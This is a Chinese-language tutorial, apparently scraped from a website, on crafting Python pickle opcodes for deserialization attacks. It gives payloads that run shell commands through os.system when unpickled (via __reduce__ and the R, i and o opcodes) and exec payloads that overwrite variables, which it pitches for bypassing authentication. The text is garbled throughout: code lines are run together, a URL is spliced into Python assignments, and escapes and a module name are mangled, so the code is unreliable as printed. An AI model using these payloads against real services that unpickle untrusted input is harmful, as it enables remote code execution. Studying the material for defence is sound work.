Python反序列化中的Opcode构造原理

基础知识

pickle是Python/ target=_blank class=infotextkey>Python下的用于序列化和反序列化的包 。
与json相比,pickle以二进制储存 。json可以跨语言,pickle只适用于python 。pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型而且不能表示自定义的类型 。
pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作 。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力) 。
可以被序列化的对象:pickle --- Python 对象序列化 — Python 3.10.2 文档
在重写__reduce__方法的时候,返回的一定是一个元组(callable, ([para1,para2...])[,...])
pickle解析的过程:How pickle works in Python | Artem Golubin (rushter.com)
漏洞利用方法
  • 任意代码执行
  • 变量覆盖(覆盖凭证绕过身份验证)
easyDemoimport pickleclass People(object):def __init__(self, name):self.name = namedef sayHello(self):print("Hello ", self.name)a = People("RoboTerh")result = pickle.dumps(a)print(result)"""ccopy_reg_reconstructorp0(c__main__Peoplep1c__builtin__objectp2Ntp3Rp4(dp5S'name'p6S'RoboTerh'p7sb."""反序列化代码实例
import pickleclass People(object):def __init__(self, name):self.name = namedef sayHello(self):print("Hello ", self.name)a = People("RoboTerh")result = pickle.dumps(a)unser = pickle.loads(result)unser.sayHello()"""('Hello ', 'RoboTerh')"""但是如果去掉了People类之后在进行反序列化就会报错
import pickleclass People(object):def __init__(self, name):self.name = namedef sayHello(self):print("Hello ", self.name)a = People("RoboTerh")result = pickle.dumps(a)del Peopleunser = pickle.loads(result)unser.sayHello()"""AttributeError: 'module' object has no attribute 'People'"""commandExecuteDemoimport pickleimport osclass demo(object):def __reduce__(self):cmd = """dir"""return (os.system, (cmd, )) #必须要返回一个元组obj = demo()result = pickle.dumps(obj)#利用pickle.loads(result)variableCoverageDemoimport picklekey1 = b'123'key2 = b'456'class exp(object):def __reduce__(self):return (exec, ("key1=b'1'nkey2=b'2'", ))obj = exp()print(key1, key2)result = pickle.dumps(obj)pickle.loads(result)print(key1, key2)"""b'123' b'456'b'1'b'2'"""构造opcode常见的opcode
Python反序列化中的Opcode构造原理

文章插图
 
其中TRUE可以用I表示:b'I01n';FALSE可以用I表示:b'I00n',其他的opcode可以在源代码中查看
全局变量覆盖 。# main.pyimport pickleimport secretopcode = """c__main__secret(S'name'S'1'db."""print("before name:", secret.name)result = pickle.loads(opcode.encode())print("result:", result)print("after:", secret.name)# secret.pyname = 'aaabbbccc'# 结果('before name:', 'aaabbbccc')('result:', <module 'secret' from 'E:my_vscode_pythonwebScriptsecret.py'>)('after:', '1')首先,通过c获取全局变量secret,然后建立一个字典,并使用b对secret进行属性设置,
函数执行与函数执行相关:Rio
  • R
【Python反序列化中的Opcode构造原理】b'''cossystem(S'whoami'tR.'''# t 为组合为元组 R 要求必须要是元组
  • i
b'''(S'whoami'IOSsystem.'''# i 获取全局函数之后寻找栈上一个MARK为元组,以该元组为参数执行函数
  • o
b'''(cossystemS'whoami'o.'''# o 寻找上一个MARK作为callable,后面的为参数实例化对象
  • R
import pickleclass Person(object):def __init__(self, name, age):self.name = nameself.age = agedata = https://www.isolves.com/it/cxkf/yy/Python/2023-04-14/b"""c__main__Person(S'RoboTerh'S'20'tR."""obj = pickle.loads(data)print(obj.name, obj.age)# RoboTerh 20
  • i
import pickleclass Person(object):def __init__(self, name, age):self.name = nameself.age = agedata = https://www.isolves.com/it/cxkf/yy/Python/2023-04-14/b"""(S'RoboTerh'S'20'i__main__Person."""obj = pickle.loads(data)print(obj.name, obj.age)# RoboTerh 20


推荐阅读